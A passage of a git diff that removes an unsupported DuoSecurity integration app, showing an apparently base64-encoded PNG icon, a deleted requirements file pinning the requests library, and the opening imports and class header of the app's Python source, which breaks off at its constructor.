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 \ No newline at end of file diff --git a/unsupported/DuoSecurity/1.0.0/requirements.txt b/unsupported/DuoSecurity/1.0.0/requirements.txt deleted file mode 100644 index fd7d3e06..00000000 --- a/unsupported/DuoSecurity/1.0.0/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -requests==2.25.1 \ No newline at end of file diff --git a/unsupported/DuoSecurity/1.0.0/src/app.py b/unsupported/DuoSecurity/1.0.0/src/app.py deleted file mode 100644 index 84f049d1..00000000 --- a/unsupported/DuoSecurity/1.0.0/src/app.py +++ /dev/null @@ -1,231 +0,0 @@ - -import base64 -import email.utils -import hmac -import hashlib -import urllib -import requests -import json -from walkoff_app_sdk.app_base import AppBase - - -class DuoSecurity(AppBase): - __version__ = "1.0.0" - app_name = "DuoSecurity" # this needs to match "name" in api.yaml - - def __init__(self, redis, logger, console_logger=None): - 